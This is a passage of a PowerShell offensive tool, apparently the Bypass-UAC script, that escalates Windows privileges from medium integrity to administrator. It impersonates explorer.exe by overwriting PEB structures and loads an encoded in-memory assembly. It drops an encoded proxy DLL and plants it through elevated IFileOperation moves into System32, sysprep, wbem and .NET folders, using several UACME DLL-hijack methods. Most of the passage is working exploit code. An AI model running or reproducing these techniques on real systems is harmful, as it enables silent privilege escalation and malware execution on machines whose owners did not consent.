* Masquerade-PEB is basically a reimplementation of two functions in UACME
|
|
by @hFireF0X. My code is quite different because, unfortunately, I don't
|
|
have access to all those c++ goodies and I could not get a callback for
|
|
LdrEnumerateLoadedModules working!
|
|
+ supMasqueradeProcess: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L504
|
|
+ supxLdrEnumModulesCallback: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L477
|
|
|
|
.DESCRIPTION
|
|
Author: Ruben Boonen (@FuzzySec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.EXAMPLE
|
|
C:\PS> Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
#>
|
|
|
|
param (
|
|
[Parameter(Mandatory = $True)]
|
|
[string]$BinPath
|
|
)
|
|
|
|
if ([System.IntPtr]::Size -eq 4) {
|
|
$x32Architecture = 1
|
|
}
|
|
|
|
# Current Proc handle
|
|
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
|
|
|
|
# Helper function to overwrite UNICODE_STRING structs in memory
|
|
function Emit-UNICODE_STRING {
|
|
param(
|
|
[IntPtr]$hProcess,
|
|
[IntPtr]$lpBaseAddress,
|
|
[UInt32]$dwSize,
|
|
[String]$data
|
|
)
|
|
|
|
# Set access protections -> PAGE_EXECUTE_READWRITE
|
|
[UInt32]$lpflOldProtect = 0
|
|
$CallResult = $Kernel32::VirtualProtectEx($hProcess, $lpBaseAddress, $dwSize, 0x40, [ref]$lpflOldProtect)
|
|
|
|
# Create replacement struct
|
|
$UnicodeObject = [Activator]::CreateInstance($UNICODE_STRING)
|
|
$UnicodeObject_Buffer = $data
|
|
[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2
|
|
[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1
|
|
[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer)
|
|
[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dwSize)
|
|
[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true)
|
|
|
|
# Overwrite PEB UNICODE_STRING struct
|
|
[UInt32]$lpNumberOfBytesWritten = 0
|
|
$CallResult = $Kernel32::WriteProcessMemory($hProcess, $lpBaseAddress, $InMemoryStruct, $dwSize, [ref]$lpNumberOfBytesWritten)
|
|
|
|
# Free $InMemoryStruct
|
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($InMemoryStruct)
|
|
}
|
|
|
|
# Process Basic Information
|
|
$_PROCESS_BASIC_INFORMATION = [Activator]::CreateInstance($PROCESS_BASIC_INFORMATION)
|
|
$ReturnLength = New-Object Int
|
|
$CallResult = $NtDll::NtQueryInformationProcess($ProcHandle, 0, [ref]$_PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION::GetSize(), [ref]$ReturnLength)
|
|
|
|
# PID & PEB address
|
|
#echo "[?] PID $($_PROCESS_BASIC_INFORMATION.UniqueProcessId)"
|
|
if ($x32Architecture) {
|
|
echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
|
|
} else {
|
|
echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
|
|
}
|
|
|
|
# Lazy PEB parsing
|
|
$_PEB = [Activator]::CreateInstance($PEB)
|
|
$_PEB = $_PEB.GetType()
|
|
$BufferOffset = $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
|
|
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
|
|
|
|
# Take ownership of PEB
|
|
# Not sure this is strictly necessary but why not!
|
|
if ($x32Architecture) {
|
|
$NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock32)
|
|
} else {
|
|
$NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock64)
|
|
} echo "[!] RtlEnterCriticalSection --> &Peb->FastPebLock"
|
|
|
|
# &Peb->ProcessParameters->ImagePathName/CommandLine
|
|
if ($x32Architecture) {
|
|
# Offset to &Peb->ProcessParameters
|
|
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters32.ToInt64()
|
|
# x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr
|
|
[UInt32]$StructSize = 8
|
|
$ImagePathName = $PROCESS_PARAMETERS + 0x38
|
|
$CommandLine = $PROCESS_PARAMETERS + 0x40
|
|
} else {
|
|
# Offset to &Peb->ProcessParameters
|
|
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters64.ToInt64()
|
|
# x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr
|
|
[UInt32]$StructSize = 16
|
|
$ImagePathName = $PROCESS_PARAMETERS + 0x60
|
|
$CommandLine = $PROCESS_PARAMETERS + 0x70
|
|
}
|
|
|
|
# Overwrite PEB struct
|
|
# Can easily be extended to other UNICODE_STRING structs in _RTL_USER_PROCESS_PARAMETERS(/or in general)
|
|
$ImagePathNamePtr = New-Object System.Intptr -ArgumentList $ImagePathName
|
|
$CommandLinePtr = New-Object System.Intptr -ArgumentList $CommandLine
|
|
if ($x32Architecture) {
|
|
echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X8}" -f $ImagePathName)"
|
|
echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X8}" -f $CommandLine)"
|
|
} else {
|
|
echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X16}" -f $ImagePathName)"
|
|
echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X16}" -f $CommandLine)"
|
|
}
|
|
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $ImagePathNamePtr -dwSize $StructSize -data $BinPath
|
|
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $CommandLinePtr -dwSize $StructSize -data $BinPath
|
|
|
|
# &Peb->Ldr
|
|
$_PEB_LDR_DATA = [Activator]::CreateInstance($PEB_LDR_DATA)
|
|
$_PEB_LDR_DATA = $_PEB_LDR_DATA.GetType()
|
|
if ($x32Architecture) {
|
|
$BufferOffset = $PEBFlags.Ldr32.ToInt64()
|
|
} else {
|
|
$BufferOffset = $PEBFlags.Ldr64.ToInt64()
|
|
}
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
|
|
$LDRFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB_LDR_DATA)
|
|
|
|
# &Peb->Ldr->InLoadOrderModuleList->Flink
|
|
$_LDR_DATA_TABLE_ENTRY = [Activator]::CreateInstance($LDR_DATA_TABLE_ENTRY)
|
|
$_LDR_DATA_TABLE_ENTRY = $_LDR_DATA_TABLE_ENTRY.GetType()
|
|
$BufferOffset = $LDRFlags.InLoadOrderModuleList.Flink.ToInt64()
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
|
|
|
|
# Traverse doubly linked list
|
|
# &Peb->Ldr->InLoadOrderModuleList->InLoadOrderLinks->Flink
|
|
# This is probably overkill, powershell.exe should always be the first entry for InLoadOrderLinks
|
|
echo "[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list"
|
|
while ($ListIndex -ne $LDRFlags.InLoadOrderModuleList.Blink) {
|
|
$LDREntry = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_LDR_DATA_TABLE_ENTRY)
|
|
if ([System.Runtime.InteropServices.Marshal]::PtrToStringUni($LDREntry.FullDllName.Buffer) -like "*powershell.exe*") {
|
|
if ($x32Architecture) {
|
|
# x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr
|
|
[UInt32]$StructSize = 8
|
|
$FullDllName = $BufferOffset + 0x24
|
|
$BaseDllName = $BufferOffset + 0x2C
|
|
} else {
|
|
# x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr
|
|
[UInt32]$StructSize = 16
|
|
$FullDllName = $BufferOffset + 0x48
|
|
$BaseDllName = $BufferOffset + 0x58
|
|
}
|
|
# Overwrite _LDR_DATA_TABLE_ENTRY struct
|
|
# Can easily be extended to other UNICODE_STRING structs in _LDR_DATA_TABLE_ENTRY(/or in general)
|
|
$FullDllNamePtr = New-Object System.Intptr -ArgumentList $FullDllName
|
|
$BaseDllNamePtr = New-Object System.Intptr -ArgumentList $BaseDllName
|
|
if ($x32Architecture) {
|
|
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X8}" -f $FullDllName)"
|
|
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X8}" -f $BaseDllName)"
|
|
} else {
|
|
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X16}" -f $FullDllName)"
|
|
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X16}" -f $BaseDllName)"
|
|
}
|
|
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $FullDllNamePtr -dwSize $StructSize -data $BinPath
|
|
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $BaseDllNamePtr -dwSize $StructSize -data $BinPath
|
|
}
|
|
$ListIndex = $BufferOffset = $LDREntry.InLoadOrderLinks.Flink.ToInt64()
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
|
|
}
|
|
|
|
# Release ownership of PEB
|
|
if ($x32Architecture) {
|
|
$NtDll::RtlLeaveCriticalSection($PEBFlags.FastPebLock32)
|
|
} else {
|
|
$NtDll::RtlLeaveCriticalSection($PEBFlags.FastPebLock64)
|
|
} echo "[!] RtlLeaveCriticalSection --> &Peb->FastPebLock`n"
|
|
|
|
# Sanity check just in case!
|
|
$ProcStatus = Get-WmiObject Win32_Process -Filter "ProcessId = '$PID'"
|
|
if ($ProcStatus.CommandLine -ne "C:\Windows\explorer.exe") {
|
|
Masquerade-PEB -BinPath C:\Windows\explorer.exe |Out-Null
|
|
}
|
|
}
|
|
|
|
#---------------
|
|
# Initialize IFileOperation COM Object
|
|
#---------------
|
|
function Invoke-IFileOperation {
|
|
<#
|
|
.SYNOPSIS
|
|
Bootstrap function to expose an IFileOperation COM interface to powershell (script-scope).
|
|
|
|
.DESCRIPTION
|
|
Author: Ruben Boonen (@FuzzySec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.EXAMPLE
|
|
C:\PS> Invoke-IFileOperation
|
|
C:\PS> $IFileOperation.CopyItem("C:\Some\Dir\a.txt", "C:\Some\Other\Dir\", "b.txt")
|
|
C:\PS> $IFileOperation.PerformOperations()
|
|
#>
|
|
|
|
# Compressed Dll which wraps the IFileOperation COM
|
|
# Compression --> http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
|
|
$EncodedCompressedFile = @'
|
|
7Vt7fFx1lT/3kZnMJJk8GkoLAaZNS9PYhLzatFC0k8ykGTIvZiZ9YCXcmblJhk7mjvdO2oZSTBVRP4ACgqLAQl1YEFhhPwsfkccuAlbWFUHRBS0qiuKyvlBXF1Fkzzn3zp2ZJDzWP/y4n483ud/fOed3fud3fud3fr/7yE34nCtAAgAZz9dfB7gPzGMbvPUxj6fnlPs9cI/riVX3CaEnViWns4a3oGtTujLjTSv5vFb0plSvPpv3ZvNefzThndEyandDg3uNZSMWAAgJErT8/Ns7S3afh9XeOqEHAH/B Ycry EQQvnucx28S0aPoNUC7hJlNOhwTbPkiq9Fsu7YKPNrQbBdPutdLSg6zH4kch1H0bMbEP9K+2gq1FfrSC7y6qB4pYFrutcfWU/a4wcV63buhpsHxDH3mgfdV62/C3W1dzWtr0lSeGbG1apDe00M1YxCxHuUkNyDgxz3cACG9rkIuPV8WOZgC3dBkaOLGrTseiYLSg5AJTpC1DWmtFKFUeR5WidGg5lp0niwe5/JxZcpMNJ1UwHccjdap4IQn +dBxJOleLrR01mCidp4pSa4eDKIBlPRLstXwyXcIucA5l8SKcbrljBUqKTqw7NEbCg4ReWby4SVuHBsSDpLrheNGsMFltLdYcCiMlb1huVsjaSrTTcQKN6R3c8Yk9NeAHjl +z2IGZ5pA6PIhumYs6s51DOxGbOBlrWjWcT8f3Wp0bHE4Nc8z9nGODw2FSnUIbzUsrnHgauHks0AAbtpj0n9VXz5/blwxdZlpV91XZidyqdZN5d4VR8q/JtHXc6pItCTa8la1WbWChqZKd1lUlOw7Y8lZ2auSLTqLZN6cQV4Tj1Dfyb1W3afcs05hpR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02GZ+819451 +6478dfw3H/wI=
|
|
'@
|
|
|
|
# Decompress & load assembly
|
|
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
|
|
$UncompressedFileBytes = New-Object Byte[](14336)
|
|
$DeflatedStream.Read($UncompressedFileBytes, 0, 14336) | Out-Null
|
|
[Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null
|
|
|
|
# PS C:\Users\b33f> $IFileOperation |Get-Member
|
|
#
|
|
# TypeName: FileOperation.FileOperation
|
|
#
|
|
# Name MemberType Definition
|
|
# ---- ---------- ----------
|
|
# CopyItem Method void CopyItem(string source, string destination, string newName)
|
|
# DeleteItem Method void DeleteItem(string source)
|
|
# Dispose Method void Dispose(), void IDisposable.Dispose()
|
|
# Equals Method bool Equals(System.Object obj)
|
|
# GetHashCode Method int GetHashCode()
|
|
# GetType Method type GetType()
|
|
# MoveItem Method void MoveItem(string source, string destination, string newName)
|
|
# NewItem Method void NewItem(string folderName, string name, System.IO.FileAttributes attrs)
|
|
# PerformOperations Method void PerformOperations()
|
|
# RenameItem Method void RenameItem(string source, string newName)
|
|
# ToString Method string ToString()
|
|
|
|
$script:IFileOperation = New-Object FileOperation.FileOperation
|
|
}
|
|
|
|
#---------------
|
|
# Write proxy dll to disk
|
|
#---------------
|
|
function Emit-Yamabiko {
|
|
<#
|
|
.SYNOPSIS
|
|
Bootstrap function to write x32/x64 Yamabiko to disk. Exposes $DllPath to powershell (script-scope).
|
|
|
|
Yamabiko: a mountain god, used to describe the phenomenon of a delayed echo in mountains and valleys.
|
|
|
|
.DESCRIPTION
|
|
Author: Ruben Boonen (@FuzzySec)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.EXAMPLE
|
|
C:\PS> Emit-Yamabiko
|
|
C:\PS> $DllPath
|
|
C:\Users\b33f\AppData\Local\Temp\yam1475935850.tmp
|
|
#>
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mOr8DWejwvh5K6FMtosjGaPUeKJm3NQIsUZ7GynJQGJX0iMz87OIKi/Geg0rCU9CTZ31WNIsK7YXWLpDV6MrIvxkKTVY0JMalLjZ4lk0qWlNaycklBnVYumbg41mxLcu2Gkyl+6e9v+z8=
|
|
'@
|
|
|
|
if ($env:PROCESSOR_ARCHITECTURE -eq "AMD64") {
|
|
$Stream = new-object -TypeName System.IO.MemoryStream
|
|
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($yamabiko64),[IO.Compression.CompressionMode]::Decompress)
|
|
$buffer = New-Object Byte[](32768)
|
|
$count = 0
|
|
do
|
|
{
|
|
$count = $DeflateStream.Read($buffer, 0, 1024)
|
|
if ($count -gt 0)
|
|
{
|
|
$Stream.Write($buffer, 0, $count)
|
|
}
|
|
}
|
|
While ($count -gt 0)
|
|
$array = $stream.ToArray()
|
|
$DeflateStream.Close()
|
|
$Stream.Close()
|
|
Set-Content -value $array -encoding byte -path $DllPath
|
|
echo "[+] 64-bit Yamabiko: $DllPath"
|
|
}
|
|
else {
|
|
$Stream = new-object -TypeName System.IO.MemoryStream
|
|
$DeflateStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($yamabiko32),[IO.Compression.CompressionMode]::Decompress)
|
|
$buffer = New-Object Byte[](32256)
|
|
$count = 0
|
|
do
|
|
{
|
|
$count = $DeflateStream.Read($buffer, 0, 1024)
|
|
if ($count -gt 0)
|
|
{
|
|
$Stream.Write($buffer, 0, $count)
|
|
}
|
|
}
|
|
While ($count -gt 0)
|
|
$array = $stream.ToArray()
|
|
$DeflateStream.Close()
|
|
$Stream.Close()
|
|
Set-Content -value $array -encoding byte -path $DllPath
|
|
echo "[+] 32-bit Yamabiko: $DllPath"
|
|
}
|
|
|
|
}
|
|
|
|
#---------------
|
|
# Static resources used for UAC elevation
|
|
#---------------
|
|
$WinPackageData = @"
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<unattend xmlns="urn:schemas-microsoft-com:unattend">
|
|
<servicing>
|
|
<package action="install">
|
|
<assemblyIdentity name="Package_1_for_KB929761" version="6.0.1.1" language="neutral" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35"/>
|
|
<source location="%configsetroot%\Windows6.0-KB929761-x86.CAB" />
|
|
</package>
|
|
</servicing>
|
|
</unattend>
|
|
"@
|
|
|
|
$WinManifestData = @"
|
|
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
|
|
<assembly
|
|
xmlns="urn:schemas-microsoft-com:asm.v1"
|
|
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
|
|
manifestVersion="1.0"
|
|
>
|
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
|
<security>
|
|
<requestedPrivileges>
|
|
<requestedExecutionLevel
|
|
level="requireAdministrator"
|
|
uiAccess="false"
|
|
/>
|
|
</requestedPrivileges>
|
|
</security>
|
|
</trustInfo>
|
|
<asmv3:application>
|
|
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
|
|
<autoElevate>true</autoElevate>
|
|
</asmv3:windowsSettings>
|
|
</asmv3:application>
|
|
<file
|
|
loadFrom="%systemroot%\system32\sysprep\cryptbase.DLL"
|
|
name="cryptbase.DLL"
|
|
/>
|
|
</assembly>
|
|
"@
|
|
|
|
#---------------
|
|
# Main() function logic, finally!
|
|
#---------------
|
|
|
|
# Perform some checks on the user account
|
|
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')
|
|
$HasAdminGroup = $(($(whoami /groups) -like "*S-1-5-32-544*").length -ne 0)
|
|
$IsMediumIntegrity = $(($(whoami /groups) -like "*S-1-16-8192*").length -ne 0)
|
|
|
|
if ($IsAdmin) {
|
|
echo "`n[!] Listen, I know it's been a long day but you already have Administrator rights!`n"
|
|
Return
|
|
} if (!$HasAdminGroup) {
|
|
echo "`n[!] The current user is not part of the Administrator group!`n"
|
|
Return
|
|
} if (!$IsMediumIntegrity) {
|
|
echo "`n[!] The current process is not medium integrity!`n"
|
|
Return
|
|
}
|
|
|
|
# Unexpected behaviour on Win7 32-bit when run multiple times..
|
|
$ProcStatus = Get-WmiObject Win32_Process -Filter "ProcessId = '$PID'"
|
|
if ($ProcStatus.CommandLine -eq "C:\Windows\explorer.exe") {
|
|
echo "`n[!] To prevent unexpected behaviour running Bypass-UAC multiple times in the same shell is not advised!`n"
|
|
Return
|
|
}
|
|
|
|
# Did the user provide a custom dll?
|
|
if ($CustomDll) {
|
|
if (![IO.File]::Exists($CustomDll)) {
|
|
echo "`n[!] Custom proxy dll path is not valid!`n"
|
|
Return
|
|
} else {
|
|
# Set proxy dll path
|
|
$DllPath = $CustomDll
|
|
}
|
|
}
|
|
|
|
#-------------------------#
|
|
# OS version table #
|
|
#-------------------------#
|
|
# 10.0 -> Win10 / 2k16 #
|
|
# 6.3 -> Win8.1 / 2k12R2 #
|
|
# 6.2 -> Win8 / 2k12 #
|
|
# 6.1 -> Win7 / 2k8R2 #
|
|
# 6.0 -> Vista / 2k8 #
|
|
#-------------------------#
|
|
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
|
|
[double]$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
|
|
if ($OSMajorMinor -lt 6.0) {
|
|
echo "`n[!] Sorry, this OS version is not supported!`n"
|
|
Return
|
|
}
|
|
|
|
# Bool flag architecture $x64/!$x64
|
|
$x64 = $($env:PROCESSOR_ARCHITECTURE -eq "AMD64")
|
|
|
|
# UAC bypass methods go here!
|
|
switch ($Method) {
|
|
# UACME method 1
|
|
'UacMethodSysprep'
|
|
{
|
|
# Original Leo Davidson sysprep method
|
|
# Works on everything pre 8.1
|
|
if ($OSMajorMinor -ge 6.3) {
|
|
echo "[!] Your OS does not support this method!`n"
|
|
Return
|
|
}
|
|
|
|
# Impersonate explorer.exe
|
|
echo "`n[!] Impersonating explorer.exe!"
|
|
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
|
|
if ($DllPath) {
|
|
echo "[>] Using custom proxy dll.."
|
|
echo "[+] Dll path: $DllPath"
|
|
} else {
|
|
# Write Yamabiko.dll to disk
|
|
echo "[>] Dropping proxy dll.."
|
|
Emit-Yamabiko
|
|
}
|
|
|
|
# Expose IFileOperation COM object
|
|
Invoke-IFileOperation
|
|
|
|
# Exploit logic
|
|
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
|
|
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\sysprep\'), "cryptbase.dll")
|
|
$IFileOperation.PerformOperations()
|
|
echo "`n[?] Executing sysprep.."
|
|
IEX $($env:SystemRoot + '\System32\sysprep\sysprep.exe')
|
|
|
|
# Clean-up
|
|
echo "[!] UAC artifact: $($env:SystemRoot + '\System32\sysprep\cryptbase.dll')`n"
|
|
}
|
|
|
|
# UACME method 23
|
|
'ucmDismMethod'
|
|
{
|
|
# Hybrid DISM method: package.xml -> pkgmgr.exe
|
|
# Works on x64 Win7-Win10 (unpatched)
|
|
if ($OSMajorMinor -lt 6.1) {
|
|
echo "[!] Your OS does not support this method!`n"
|
|
Return
|
|
} if (!$x64) {
|
|
echo "[!] This method is only supported on 64-bit!`n"
|
|
Return
|
|
}
|
|
|
|
# Impersonate explorer.exe
|
|
echo "`n[!] Impersonating explorer.exe!"
|
|
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
|
|
if ($DllPath) {
|
|
echo "[>] Using custom proxy dll.."
|
|
echo "[+] Dll path: $DllPath"
|
|
} else {
|
|
# Write Yamabiko.dll to disk
|
|
echo "[>] Dropping proxy dll.."
|
|
Emit-Yamabiko
|
|
}
|
|
|
|
# Write package XML to disk
|
|
$PackagePath = $env:Temp + "\pac$(Get-Random).xml"
|
|
echo "[>] Creating XML trigger: $PackagePath"
|
|
$WinPackageData > $PackagePath
|
|
|
|
# Expose IFileOperation COM object
|
|
Invoke-IFileOperation
|
|
|
|
# Exploit logic
|
|
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
|
|
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\'), "dismcore.dll")
|
|
$IFileOperation.PerformOperations()
|
|
echo "`n[?] Executing PkgMgr.."
|
|
IEX $($env:SystemRoot + '\System32\PkgMgr.exe /n:' + $PackagePath)
|
|
|
|
# Clean-up
|
|
echo "[!] UAC artifact: $($env:SystemRoot + '\System32\dismcore.dll')"
|
|
echo "[!] UAC artifact: $PackagePath`n"
|
|
}
|
|
|
|
# UACME method 20
|
|
'UacMethodMMC2'
|
|
{
|
|
# Hybrid MMC method: mmc -> rsop.msc -> wbemcomn.dll
|
|
# Works on x64 Win7-Win10 (unpatched)
|
|
if ($OSMajorMinor -lt 6.1) {
|
|
echo "[!] Your OS does not support this method!`n"
|
|
Return
|
|
} if (!$x64) {
|
|
echo "[!] This method is only supported on 64-bit!`n"
|
|
Return
|
|
}
|
|
|
|
# Impersonate explorer.exe
|
|
echo "`n[!] Impersonating explorer.exe!"
|
|
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
|
|
if ($DllPath) {
|
|
echo "[>] Using custom proxy dll.."
|
|
echo "[+] Dll path: $DllPath"
|
|
} else {
|
|
# Write Yamabiko.dll to disk
|
|
echo "[>] Dropping proxy dll.."
|
|
Emit-Yamabiko
|
|
}
|
|
|
|
# Expose IFileOperation COM object
|
|
Invoke-IFileOperation
|
|
|
|
# Exploit logic
|
|
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
|
|
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\wbem\'), "wbemcomn.dll")
|
|
$IFileOperation.PerformOperations()
|
|
echo "`n[?] Executing mmc.."
|
|
IEX $($env:SystemRoot + '\System32\mmc.exe rsop.msc')
|
|
|
|
# Clean-up
|
|
echo "[!] UAC artifact: $($env:SystemRoot + '\System32\wbem\wbemcomn.dll')`n"
|
|
}
|
|
|
|
# UAC "0day" ?_(?)_/?
|
|
'UacMethodTcmsetup'
|
|
{
|
|
# Hybrid tcmsetup method: tcmsetup -> tcmsetup.exe.local -> comctl32.dll
|
|
# Works on x64/x32 Win7-Win10 (unpatched)
|
|
if ($OSMajorMinor -lt 6.1) {
|
|
echo "[!] Your OS does not support this method!`n"
|
|
Return
|
|
}
|
|
|
|
# Impersonate explorer.exe
|
|
echo "`n[!] Impersonating explorer.exe!"
|
|
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
|
|
if ($DllPath) {
|
|
echo "[>] Using custom proxy dll.."
|
|
echo "[+] Dll path: $DllPath"
|
|
} else {
|
|
# Write Yamabiko.dll to disk
|
|
echo "[>] Dropping proxy dll.."
|
|
Emit-Yamabiko
|
|
}
|
|
|
|
# Create tcmsetup.exe.Local folder in %temp%
|
|
$TempFolder = $env:Temp + "\tcm$(Get-Random)"
|
|
echo "[>] Creating .local trigger folder: $TempFolder"
|
|
New-Item -Path $TempFolder -ItemType directory |Out-Null
|
|
|
|
# Create possible sub-directories
|
|
dir $($env:SystemRoot + '\WinSxS') |where-object {
|
|
$_.PSIsContainer -and $_.Name -like "*microsoft.windows.common*"
|
|
} | foreach {
|
|
New-Item -Path $TempFolder -Name $_.Name -ItemType directory |Out-Null
|
|
Copy-Item $DllPath -destination $($TempFolder + '\' + $_.Name + '\comctl32.dll')
|
|
}
|
|
|
|
# Remove proxy dll
|
|
Del $DllPath
|
|
|
|
# Expose IFileOperation COM object
|
|
Invoke-IFileOperation
|
|
|
|
# Exploit logic
|
|
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
|
|
$IFileOperation.MoveItem($TempFolder, $($env:SystemRoot + '\System32\'), "tcmsetup.exe.Local")
|
|
$IFileOperation.PerformOperations()
|
|
|
|
echo "`n[?] Executing tcmsetup.."
|
|
IEX $($env:SystemRoot + '\System32\tcmsetup.exe')
|
|
|
|
# Clean-up
|
|
echo "[!] UAC artifact: $($env:SystemRoot + '\System32\tcmsetup.exe.Local\')`n"
|
|
}
|
|
|
|
# UAC "0day" ?_(?)_/?
|
|
'UacMethodNetOle32'
|
|
{
|
|
# Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll
|
|
# Works on x64/x32 Win7-Win10 (unpatched)
|
|
if ($OSMajorMinor -lt 6.1) {
|
|
echo "[!] Your OS does not support this method!`n"
|
|
Return
|
|
}
|
|
|
|
# Impersonate explorer.exe
|
|
echo "`n[!] Impersonating explorer.exe!"
|
|
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
|
|
|
|
if ($DllPath) {
|
|
echo "[>] Using custom proxy dll.."
|
|
echo "[+] Dll path: $DllPath"
|
|
} else {
|
|
# Write Yamabiko.dll to disk
|
|
echo "[>] Dropping proxy dll.."
|
|
Emit-Yamabiko
|
|
}
|
|
|
|
# Get default .NET version
|
|
[String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
|
|
|
|
# Get count of PowerShell processes
|
|
$PS_InitCount = @(Get-Process -Name powershell).Count
|
|
|
|
# Expose IFileOperation COM object
|
|
Invoke-IFileOperation
|
|
|
|
# Exploit logic
|
|
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
|
|
# x32/x64 .NET folder
|
|
if ($x64) {
|
|
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll")
|
|
} else {
|
|
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll")
|
|
}
|
|
$IFileOperation.PerformOperations()
|
|
echo "`n[?] Executing mmc.."
|
|
IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc')
|
|
|
|
# Move Yamabiko back to %tmp% after it loads to avoid infinite shells!
|
|
while ($true) {
|
|
$PS_Count = @(Get-Process -Name powershell).Count
|
|
if ($PS_Count -gt $PS_InitCount) {
|
|
try {
|
|
# x32/x64 .NET foler
|
|
if ($x64) {
|
|
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
|
|
} else {
|
|
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
|
|
}
|
|
$IFileOperation.PerformOperations()
|
|
break
|
|
} catch {
|
|
# Sometimes IFileOperation throws an exception
|
|
# when executed twice in a row, just rerun..
|
|
}
|
|
}
|
|
}
|
|
|
|
# Clean-up
|
|
